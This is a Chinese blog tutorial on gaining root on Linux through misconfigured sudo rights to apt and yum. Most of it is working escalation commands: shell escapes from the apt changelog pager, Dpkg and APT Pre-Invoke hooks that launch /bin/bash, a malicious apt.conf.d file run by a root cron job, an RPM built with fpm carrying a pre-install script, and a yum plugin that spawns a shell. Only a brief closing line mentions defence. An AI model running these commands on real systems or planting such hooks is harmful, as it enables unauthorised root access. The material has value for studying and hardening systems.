通过Linux包管理器提升权限
免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。
前言
在Linux系统中,apt和yum是两种常见的包管理工具,分别用于Debian/Ubuntu和CentOS/RHEL等发行版,如果配置不当极有可能导致linux提权问题,进而导致服务器受到安全威胁。
apt包管理器
通过changelog日志提权
当普通用户允许通过特权模式执行apt命令的时候,可通过changelog日志进行提权。
sudo apt changelog apt
该命令是一个用于查看 apt 软件包更新日志的命令。changelog 是软件包的一部分,记录了该软件包每次更新时的变更内容,包括新功能、修复的漏洞、改进等。
执行该命令,会进入到一个软件包变更内容的日志当中:
在此界面输入!/bin/bash可直接进入对应权限的bash环境当中:
通过安装软件包执行命令提权
当普通用户允许通过特权模式执行apt命令的时候,可通过修改apt配置选项在安装软件包时执行命令。
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/bash;false"}' > $TF
sudo apt install -c $TF vim
Dpkg::Pre-Invoke是apt的一个配置选项,用于在安装软件包之前执行指定的命令,将配置信息写入到$TF中,这里执行/bin/bash获取一个新的bash环境。
vim是一个软件包,通过安装vim(可以是任意软件包)同时指定临时文件$TF作为配置文件。
可以看到安装完成软件后自动进入到了root的bash环境当中。
通过update更新包提权
当普通用户允许通过特权模式执行apt命令的时候,可通过apt配置选项尝试在更新软件包之前执行命令进行提权。
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
APT::Update::Pre-Invoke是更新操作之前执行指定的命令,通过该命令可在apt包更新之前执行/bin/bash命令从而进行提权。
通过crontab定时任务提权
当crontab以特权用户定期执行apt update时,这通常是在有定时更新软件包需求的服务器上,可通过预调用脚本执行命令提权。
该服务器每一分钟执行一次apt update。
创建一个预调用脚本文件:
#!/bin/bash
APT::Update::Pre-Invoke {"echo `id` > /tmp/result.txt"}
这里只使用执行id命令作为演示。
/etc/apt/apt.conf.d/ 是Linux系统中apt的配置文件目录,如果该文件夹存在可编辑的配置文件,可以将上述预调用脚本文件的恶意代码写入其中。
查看该目录:
脚本的名称开头需要2位数字,且根据数字的大小从小到大依次执行,所以应该将脚本数字命名得尽可能小或修改数字尽可能小的文件。这里00periodic是最小的且可编辑,将恶意代码写入到脚本。
等待1分钟后可以看到已经执行了脚本的命令:
yum包管理器
通过特制的 RPM 包提权
当普通用户允许通过特权模式执行yum命令的时候,可通过制作带有恶意代码的rpm包执行命令提权。
TF=$(mktemp -d)
echo 'id' > $TF/shell.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/shell.sh $TF
创建一个唯一的临时目录,并将该目录的路径赋值给变量 TF,临时目录中创建一个名为 shell.sh 的文件,将命令id写入shell.sh,生成rpm包并使用--before-install在安装之前执行$TF/shell.sh。
sudo yum localinstall -y x-1.0-1.noarch.rpm
成功执行了id命令,显示是root。
通过自定义插件提权
当普通用户允许通过特权模式执行yum命令的时候,可通过自定义插件生成shell提权。
TF=$(mktemp -d)
cat >$TF/x <<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf <<EOF
[main]
enabled=1
EOF
cat >$TF/y.py <<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/bash','/bin/bash')
EOF
通过自定义的 yum 插件脚本,使插件在初始化的时候执行os.execl('/bin/bash','/bin/bash')获取对应的bash环境。
sudo yum -c $TF/x --enableplugin=y
执行命令获取权限。
总结
配置不当的包管理器可通过拼接命令和制作特定文件的方式执行命令进行提权,想要防止此类事件的发生,配置合理的命令权限和限制 apt 预调用脚本的权限非常重要。
通过Linux包管理器提升权限的更多相关文章
- Linux包管理器
按Linux系统分类 Redhat系列:Redhat(本身就是Centos).Centos.Fedora等,采用Dpkg包管理器 Debian系列:Debian.Ubuntu等,使用RPM包管理器 R ...
- Linux 包管理器
RPM: rpm(Red-Hat Package Manager) 为 Redhat 提出的包管理器, 用于在 Redhat 及其衍生版本中安装 rpm 格式的软件包 rpm 的优点: 1.简化了源码 ...
- linux 各种发行版及包管理器的关系
linux 各种发行版及包管理器的关系 Linux发行版列表 基于Kpkg(Debian 系) Debian GNU / Linux 及其派生发行版使用deb软件包格式,并使用dpkg及其前端作为包管 ...
- Linux新手的最佳包管理器
一个 Linux 新用户应该知道他或她的进步源自于对 Linux 发行版的使用,而 Linux 发行版有好几种,并以不同的方式管理软件包. 在 Linux开发 中,包管理器非常重要,知道如何使用多种包 ...
- 把玩Alpine linux(二):APK包管理器
导读 Alpine Linux非常精简,开机内存占用也在二三十兆大,没有拆箱即用,就需要我们自己去做一些了解和配置 Alpine Linux的优劣 优势 Alpine Linux的Docker镜像特点 ...
- Arch Linux 独特的包管理器相关名词解释及用法对照
https://wiki.archlinux.org/index.php/PacmanPacman包管理器是Arch Linux的主要特色之一.它结合了简单的二进制包格式和易于使用的构建系统.pacm ...
- 在linux中使用包管理器安装node.js
网上文章中,在linux下安装node.js都是使用源码编译,其实node的github上已经提供了各个系统下使用各自的包管理器(package manager)安装node.js的方法. 1. 在U ...
- Linux系统-----包管理器的演变
每个电脑设备都使用某种形式的软件来执行其预定任务.在软件开发的早期,对产品进行了严格的bug和其他缺陷测试.在过去的十多年里,软件通过互联网发布,目的是通过应用新版本的软件来修复任何错误.在某些情况下 ...
- 【转】npm包管理器那些事
原文链接:http://www.cnblogs.com/shuoer/p/7782125.html npm包管理器那些事! 今天和朋友针对npm包全局安装和本地项目安装这个梗展开的激烈的讨论,故此做一 ...
- rpm 包管理器
rpm 包管理器 二进制应用程序的组成部分: 二进制文件.库文件.配置文件.帮助文件 程序包管理器:不同厂商的程序,包管理器也不同. debian:deb文件, dpkg包管理器 redhat: rp ...
随机推荐
- .NET最佳实践:避免滥用Task.Run
在 C# 中,Task.Run 是用来在后台线程中执行异步任务的一个常见方法. 它非常适用于需要并行处理的场景,但如果不加以谨慎使用,可能会导致额外的线程池调度,进而影响程序的性能. 什么是线程池? ...
- jar脚本练习
javaServer.sh #!/bin/bash export JAVA_HOME=/u01/java_home/jdk1.8.0_131 export APP_HOME=/u01/app expo ...
- flutter-真机调试ios Traceback (most recent call last)
1 Traceback (most recent call last): 2 File "/tmp/C5FDB25B-C7F4-462E-8AC9-7FF9D1A50F21/fruitstr ...
- 如何为 .NET 在线客服系统的 Open Api 开放接口实现 QPS 限流功能
我在业余时间开发了一款自己的独立产品:升讯威在线客服与营销系统.陆陆续续开发了几年,从一开始的偶有用户尝试,到如今线上环境和私有化部署均有了越来越多的稳定用户. 而我收到的用户需求也越来越多,产品化的 ...
- pnpm : 无法加载文件 \AppData\Roaming\npm\pnpm.ps1,因为在此系统上禁止运行脚本。
1. 安装pnpm npm install -g pnpm #安装 pnpm pnpm --version #查看pnpm版本 安装完成后查看版本时报错 pnpm : 无法加载文件 C:\Users\ ...
- Python 潮流周刊#91:Python 在浏览器中的未来(摘要)
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章.教程.开源项目.软件工具.播客和视频.热门话题等内容.愿景:帮助所有读者精进 Python 技术,并增长职 ...
- DeepSeek 开源周回顾「GitHub 热点速览」
上周,DeepSeek 发布的开源项目用一个词形容就是:榨干性能!由于篇幅有限,这里仅列出项目名称和简介,感兴趣的同学可以前往 DeepSeek 的开源组织页面,深入探索每个项目的精彩之处! 第一天 ...
- Django实战项目-学习任务系统-配置定时调度任务
接着上期代码内容,继续完善优化系统功能. 本次增加配置定时调度任务功能,学习任务系统定时任务管理添加的定时学习任务,需要通过配置调度任务,定时发布周期性的学习任务. 以及每天定时发送学生用户属性值,积 ...
- SpringBoot的yml文件报org.yaml.snakeyaml.scanner.ScannerException: mapping values are not allowed here in 'reader', line 11, column 16:
报错内容如下: 报错代码如下: 1 spring: 2 cloud: 3 gateway: 4 routes: 5 - id: query_route 6 uri: https://baidu.org ...
- Proxmox ve(Pve) 安装windows server
1.安装proxmox ve点击直达 官网地址 下载下来如果下载速度太慢 可以去安装个IDM https://www.52pojie.cn/thread-1013874-1-1.html 然后需要制作 ...